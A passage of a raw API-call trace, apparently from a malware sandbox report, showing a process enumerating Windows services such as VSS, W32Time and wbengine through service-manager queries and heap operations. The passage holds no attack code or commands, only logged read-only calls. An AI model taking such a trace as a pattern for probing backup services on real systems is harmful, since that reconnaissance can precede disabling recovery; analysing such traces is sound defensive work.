cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70650 [0249.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vds.exe", cchWideChar=7, lpMultiByteStr=0x1e70650, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vds.exe", lpUsedDefaultChar=0x0) returned 7 [0249.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70608 [0249.404] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70650) returned 1 [0249.404] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70608) returned 1 [0249.404] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1830) returned 1 [0249.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70608 [0249.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1830 [0249.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de17a8 [0249.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de18b8 [0249.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1940 [0249.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de19c8 [0249.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vss", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70650 [0249.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vss", cchWideChar=3, lpMultiByteStr=0x1e70650, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vss", lpUsedDefaultChar=0x0) returned 3 [0249.404] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70698 [0249.404] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70650) returned 1 [0249.404] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70698) returned 1 [0249.404] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de19c8) returned 1 [0249.404] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="VSS", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.404] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.405] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.405] GetLastError () returned 0x7a [0249.405] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0xee, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de19c8 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1a50 [0249.406] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de19c8) returned 1 [0249.406] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1a50) returned 1 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1a50 [0249.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssvc.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70698 [0249.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssvc.exe", cchWideChar=9, lpMultiByteStr=0x1e70698, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssvc.exe", lpUsedDefaultChar=0x0) returned 9 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70650 [0249.406] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70698) returned 1 [0249.406] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70650) returned 1 [0249.406] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1a50) returned 1 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70650 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1a50 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de19c8 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1ad8 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1b60 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1be8 [0249.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="w32time", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70698 [0249.406] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="w32time", cchWideChar=7, lpMultiByteStr=0x1e70698, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="w32time", lpUsedDefaultChar=0x0) returned 7 [0249.406] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e706e0 [0249.406] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70698) returned 1 [0249.406] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e706e0) returned 1 [0249.407] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1be8) returned 1 [0249.407] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="W32Time", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.407] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.407] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.408] GetLastError () returned 0x7a [0249.408] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x118, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1be8 [0249.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1c70 [0249.408] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1be8) returned 1 [0249.408] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1c70) returned 1 [0249.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1c70 [0249.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1be8 [0249.408] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1c70) returned 1 [0249.408] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1be8) returned 1 [0249.408] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1be8 [0249.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e706e0 [0249.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e706e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70698 [0249.409] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e706e0) returned 1 [0249.409] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70698) returned 1 [0249.409] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1be8) returned 1 [0249.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70698 [0249.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1be8 [0249.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1c70 [0249.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1cf8 [0249.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1d80 [0249.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1e08 [0249.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e706e0 [0249.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine", cchWideChar=8, lpMultiByteStr=0x1e706e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbengine", lpUsedDefaultChar=0x0) returned 8 [0249.409] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70728 [0249.409] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e706e0) returned 1 [0249.409] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70728) returned 1 [0249.409] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1e08) returned 1 [0249.409] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="wbengine", dwDesiredAccess=0x1) returned 0x5d6ee8 [0249.409] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0249.410] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.410] GetLastError () returned 0x7a [0249.410] QueryServiceConfigW (in: hService=0x5d6ee8, lpServiceConfig=0x1dd29e0, cbBufSize=0x10c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1e08 [0249.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1eb0 [0249.411] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1e08) returned 1 [0249.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1e08 [0249.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1f38 [0249.411] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1e08) returned 1 [0249.411] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1f38) returned 1 [0249.411] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1eb0) returned 1 [0249.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1e08 [0249.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1eb0 [0249.411] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1e08) returned 1 [0249.411] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1eb0) returned 1 [0249.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1e08 [0249.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70728 [0249.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbengine.exe", cchWideChar=12, lpMultiByteStr=0x1e70728, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbengine.exe", lpUsedDefaultChar=0x0) returned 12 [0249.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e706e0 [0249.411] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70728) returned 1 [0249.411] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e706e0) returned 1 [0249.411] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de1e08) returned 1 [0249.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e706e0 [0249.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1e08 [0249.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1eb0 [0249.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1f38 [0249.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de1fc0 [0249.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2048 [0249.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbiosrvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70728 [0249.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbiosrvc", cchWideChar=8, lpMultiByteStr=0x1e70728, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbiosrvc", lpUsedDefaultChar=0x0) returned 8 [0249.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70770 [0249.412] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70728) returned 1 [0249.412] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70770) returned 1 [0249.412] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2048) returned 1 [0249.412] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WbioSrvc", dwDesiredAccess=0x1) returned 0x5d6d08 [0249.412] CloseServiceHandle (hSCObject=0x5d6ee8) returned 1 [0249.412] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.413] GetLastError () returned 0x7a [0249.413] QueryServiceConfigW (in: hService=0x5d6d08, lpServiceConfig=0x1dd29e0, cbBufSize=0x15e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2048 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de20d0 [0249.414] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2048) returned 1 [0249.414] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de20d0) returned 1 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de20d0 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2048 [0249.414] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de20d0) returned 1 [0249.414] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2048) returned 1 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2048 [0249.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70770 [0249.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70770, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70728 [0249.414] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70770) returned 1 [0249.414] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70728) returned 1 [0249.414] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2048) returned 1 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70728 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2048 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de20d0 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2158 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de21e0 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2268 [0249.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcncsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70770 [0249.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcncsvc", cchWideChar=7, lpMultiByteStr=0x1e70770, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wcncsvc", lpUsedDefaultChar=0x0) returned 7 [0249.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e707b8 [0249.414] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70770) returned 1 [0249.414] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e707b8) returned 1 [0249.414] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2268) returned 1 [0249.414] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="wcncsvc", dwDesiredAccess=0x1) returned 0x5d6e98 [0249.420] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0249.420] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.420] GetLastError () returned 0x7a [0249.420] QueryServiceConfigW (in: hService=0x5d6e98, lpServiceConfig=0x1dd29e0, cbBufSize=0x17a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e158 [0249.421] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2048) returned 1 [0249.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2048 [0249.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2268 [0249.421] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2048) returned 1 [0249.421] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2268) returned 1 [0249.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2268 [0249.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2048 [0249.421] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2268) returned 1 [0249.421] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2048) returned 1 [0249.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2048 [0249.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e707b8 [0249.421] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e707b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70770 [0249.421] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e707b8) returned 1 [0249.421] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70770) returned 1 [0249.421] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2048) returned 1 [0249.421] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70770 [0249.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2048 [0249.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2268 [0249.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de22f0 [0249.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2378 [0249.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2400 [0249.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcspluginservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0249.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e707b8 [0249.422] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wcspluginservice", cchWideChar=16, lpMultiByteStr=0x1e707b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wcspluginservice", lpUsedDefaultChar=0x0) returned 16 [0249.422] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70800 [0249.422] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e707b8) returned 1 [0249.422] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70800) returned 1 [0249.422] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2400) returned 1 [0249.422] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="WcsPlugInService", dwDesiredAccess=0x1) returned 0x5d6df8 [0249.422] CloseServiceHandle (hSCObject=0x5d6e98) returned 1 [0249.423] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0249.423] GetLastError () returned 0x7a [0249.423] QueryServiceConfigW (in: hService=0x5d6df8, lpServiceConfig=0x1dd29e0, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1dd29e0, pcbBytesNeeded=0x18fbe8) returned 1 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2400 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2488 [0249.424] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2400) returned 1 [0249.424] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2488) returned 1 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2488 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2400 [0249.424] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2488) returned 1 [0249.424] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2400) returned 1 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2400 [0249.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e70800 [0249.424] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e70800, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e707b8 [0249.424] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e70800) returned 1 [0249.424] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e707b8) returned 1 [0249.424] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de2400) returned 1 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1e707b8 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2400 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de2488 [0249.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 